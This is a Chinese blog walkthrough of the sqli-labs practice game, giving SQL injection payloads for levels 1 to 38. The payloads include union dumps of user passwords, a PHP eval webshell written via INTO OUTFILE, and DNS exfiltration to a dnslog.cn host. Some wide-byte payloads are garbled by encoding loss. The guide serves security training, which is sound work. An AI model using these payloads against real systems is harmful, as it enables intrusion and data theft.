SQL注入篇——sqli-labs最详细1-75闯关指南

sqli-labs是训练SQL注入的一款闯关游戏,分四页,共75关,不过我还没通关。


☝☝☝☝☝☝☝有疑问欢迎写信哦

sqli-­labs闯关游戏页面

如果你的电脑无法像下面这样正常显示可以参照文章https://admin-root.blog.csdn.net/article/details/103597999
SQL注入篇——sqli-labs最详细1-75闯关指南_第1张图片

☛点我一键到底☚

sql注入基本语句:

order by 4 -- -
判断有多少列
union select 1,2,3 -- -
判断数据显示点
union select 1,user(),database()­­ -- -
­显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
查看账号密码信息

Page-1(Basic Challenges)基本挑战 less1-22

less-1——基于单引号的字符型注入

注入语句:

id=1' and 1=1 -- -
1、判断注入点

SQL注入篇——sqli-labs最详细1-75闯关指南_第2张图片

2、把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ’ 字符注入

SQL注入篇——sqli-labs最详细1-75闯关指南_第3张图片

3、确定注入字符后,判断有多少列, 超出列数会报错
id=1' order by 4 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第4张图片

4、判断数据显示点 (id一定要改为0或负数)
id=0' union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第5张图片

5、然后便可在注入字符后加入前面的sql注入基本语句

less-2——布尔型注入

注入语句:

id=1 and 1=1 -- -

方法同上。

less-3——基于’)的字符型注入

注入语句:

id=1') and 1=1 -- -

方法同上。

less-4——基于")字符型注入

注入语句:

id=1") and 1=1 -- -­

方法同上。

less-5——基于’字符型的错误回显注入

注入语句:

id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

效果如图:
SQL注入篇——sqli-labs最详细1-75闯关指南_第6张图片

less-6——基于"字符型的错误回显注入

注入语句:

id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

效果如图:
SQL注入篇——sqli-labs最详细1-75闯关指南_第7张图片

less-7——文件读写注入

注入语句:

1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D://1.php' -- -

效果如图:
SQL注入篇——sqli-labs最详细1-75闯关指南_第8张图片
查看D:盘下是否出现1.php文件
在这里插入图片描述

less-8——基于’的盲注(利用dns回显)

注入语句:

id=1' and load_file(concat("\\\\",(database()),".2bmfvu.dnslog.cn\\1.txt")) -- -
1、点击此处获取dns地址

SQL注入篇——sqli-labs最详细1-75闯关指南_第9张图片

2、将地址复制填入SQL语句中执行
3、在DNSLog.cn网站会看到回显结果为security效果如图:

SQL注入篇——sqli-labs最详细1-75闯关指南_第10张图片

less-9——基于’的时间盲注

注入语句:

id=1' and if(length(database())>3 ,sleep(5),1) -- -

因为你不知道数据库名是几个字母,所以先让数字大于3进行判断,然后依次增加。效果如图:SQL注入篇——sqli-labs最详细1-75闯关指南_第11张图片
如果sleep函数不起作用了,说明数据库名可能等于这个数。这时你就能判断它的数据库名啦。效果如图:
SQL注入篇——sqli-labs最详细1-75闯关指南_第12张图片

less-10——基于"的时间盲注

注入语句:

id=1" and if(length(database())>7 ,sleep(5),1) -- -

方法与第九关相同,将’改成"即可。

less-11——基于’的POST型注入

注入语句:

admin' and 1=1 -- -

这里不用密码也能登陆成功,所以判断是POST形式的单引号字符型注入
SQL注入篇——sqli-labs最详细1-75闯关指南_第13张图片

less-12——基于")的POST型注入

注入语句:

admin") and 1=1 -- -

方法同上。

less-13——基于’)的错误回显注入

注入语句:

admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

效果如图:
SQL注入篇——sqli-labs最详细1-75闯关指南_第14张图片

less-14——基于"的错误回显注入

注入语句:

admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

方法同上。

less-15——基于’的POST型注入(利用dns回显)

注入语句:

admin' and load_file(concat("\\\\",(database()),".qyfyji.dnslog.cn\\1.txt")) -- -

效果如图:
SQL注入篇——sqli-labs最详细1-75闯关指南_第15张图片

less-16——基于’的POST型注入(利用dns回显)

注入语句:

admin") and 1=1 -- -

方法同上。

less-17——基于’的密码报错注入

注入语句:

' and (updatexml(1,concat(0x7e, database(),0x7e),1))#

从密码入手输入注入语句进行报错注入,效果如图:
SQL注入篇——sqli-labs最详细1-75闯关指南_第16张图片

less-18——基于’的User-Agent:报头文报错注入

注入语句:

',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
1、先用Burp Suite抓取输入正确用户密码的登录页面
2、然后在报头文User-Agent:后加入注入语句即可,效果如图:

SQL注入篇——sqli-labs最详细1-75闯关指南_第17张图片

less-19——基于’的Referer:报头文报错注入

注入语句:

 ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

方法同上,只需把报头文改成Referer:即可。

less-20——基于’的Cookie:报头文报错注入

注入语句:

uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;

方法同上,只需把报头文改成Cookie:即可。
SQL注入篇——sqli-labs最详细1-75闯关指南_第18张图片

Page-2(Advanced Injections)高级注入 less21-38

less-21——基于’)字符型的Cookie注入

一、首先正常登陆进入以下页面
SQL注入篇——sqli-labs最详细1-75闯关指南_第19张图片
二、使用Burp Suite抓包当前页面。
SQL注入篇——sqli-labs最详细1-75闯关指南_第20张图片
三、转入Repeater模块将选中部分Ctrl+B进行Base64编码
注入语句:

') union select 1,2,3# 
编码后:JykgdW5pb24gc2VsZWN0IDEsMiwzIyA=

SQL注入篇——sqli-labs最详细1-75闯关指南_第21张图片
四、能够正常显示,接下来相信你知道该怎么做了
SQL注入篇——sqli-labs最详细1-75闯关指南_第22张图片

less-22——基于"字符型的Cookie注入

注入语句:

uname=" union select 1,2,3# ;

操作步骤同上
SQL注入篇——sqli-labs最详细1-75闯关指南_第23张图片

less-23——过滤注释的GET型注入

注入语句:

id=-1' union select 1,2,3 ='1

SQL注入篇——sqli-labs最详细1-75闯关指南_第24张图片

less-24——二次注入

假设知道有admin用户但是不知道密码
SQL注入篇——sqli-labs最详细1-75闯关指南_第25张图片
首先点击New User click here? 注册admin’ – -用户
SQL注入篇——sqli-labs最详细1-75闯关指南_第26张图片
然后登录该用户修改密码
SQL注入篇——sqli-labs最详细1-75闯关指南_第27张图片
在这里插入图片描述
然后再使用admin输入刚才admin’ – -修改的密码
SQL注入篇——sqli-labs最详细1-75闯关指南_第28张图片
登录成功,此时两个账号的密码一样

less-25——过滤or和and的单引号注入

注入语句:

id=-1' union select 1,2,3-- 

SQL注入篇——sqli-labs最详细1-75闯关指南_第29张图片

less-25a——过滤or和and的注入

注入语句:

id=-1 union select 1,2,3-- 

SQL注入篇——sqli-labs最详细1-75闯关指南_第30张图片

less-26——基于’过滤注释和空格的注入

注入语句:

id=-1'aandnd(updatexml(1,'~aaaa',1))anandd'1'='1

SQL注入篇——sqli-labs最详细1-75闯关指南_第31张图片

less-26a——基于’)过滤注释和空格的盲注

这里不会报错,只是多加了一个括号。

less-27——基于’过滤union、select与注释和空格的注入

注入语句:

id=1'and(updatexml(1,'~aaaa',1))and'1'='1

SQL注入篇——sqli-labs最详细1-75闯关指南_第32张图片

less-27a——基于"过滤union和select 的盲注

单引号换成双引号,方法同上。

less-28——基于’)过滤union和select等的注入

注入语句:

网址栏url转码后
id=111%27)%0AUnIon%0AAll%0ASelect%0A(%271%27),2,(%273
url
转码前
id=111') UnIon All Select ('1'),2,('3

SQL注入篇——sqli-labs最详细1-75闯关指南_第33张图片

less-28a——基于’)过滤union、select和空格的盲注

注入语句:

网址栏url后
http://localhost/sqli-labs-master/Less-28a/?id=-1%27)%0AUnIon%0AAll%0ASelect%0A1,2,3%0A--%20-
url转码前
id=-1') UnIon All Select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第34张图片

less-29 index.php——基于单引号字符型的注入

注入语句:

id=-1' union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第35张图片

less-29 隐藏关login.php——基于单引号的参数污染绕过

注入语句:

id=1&id=-1' union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第36张图片

less-30 index.php——基于双引号字符型的注入

注入语句:

id=-1" union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第37张图片

less-30 隐藏关login.php——基于双引号的参数污染绕过

注入语句:

id=1&id=-1" union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第38张图片

less-31——基于")字符型的注入

注入语句:

id=-1") union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第39张图片

less-31 隐藏关login.php——基于")的参数污染绕过

注入语句:

id=1&id=-1") union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第40张图片

less-32——宽字节注入

注入语句:

id=-1%df' union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第41张图片

less-33——get方式宽字节注入

在网址栏输入注入语句:

id=-1%df%27%20union%20select%201,2,3%20--%20-

SQL注入篇——sqli-labs最详细1-75闯关指南_第42张图片

less-34——post方式宽字节注入

注入语句:

Dumb�' union select 1,2,3 -- 

SQL注入篇——sqli-labs最详细1-75闯关指南_第43张图片

less-35——数值型注入

注入语句:

id=-1 union select 1,2,3

SQL注入篇——sqli-labs最详细1-75闯关指南_第44张图片

less-36——宽字节注入

注入语句:

id=-1�' union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第45张图片

less-37——宽字节post注入

注入语句:

id=-1�' union select 1,2,3 -- -
id=-1�' union select 1,2,3 -- -

SQL注入篇——sqli-labs最详细1-75闯关指南_第46张图片

Page-3 (Stacked Injections)堆叠注入 less38-53

less-38——堆叠注入

注入语句:

id=1;CREATE DATABASE sq default charset utf8; -- -

查询id为1的用户名密码,同时创建名为sq的数据库。
SQL注入篇——sqli-labs最详细1-75闯关指南_第47张图片
数据库创建成功,说明两条语句都执行了。
SQL注入篇——sqli-labs最详细1-75闯关指南_第48张图片

Page-4 (Challenges)挑战 less54-75

你可能感兴趣的:(数据库基础与注入)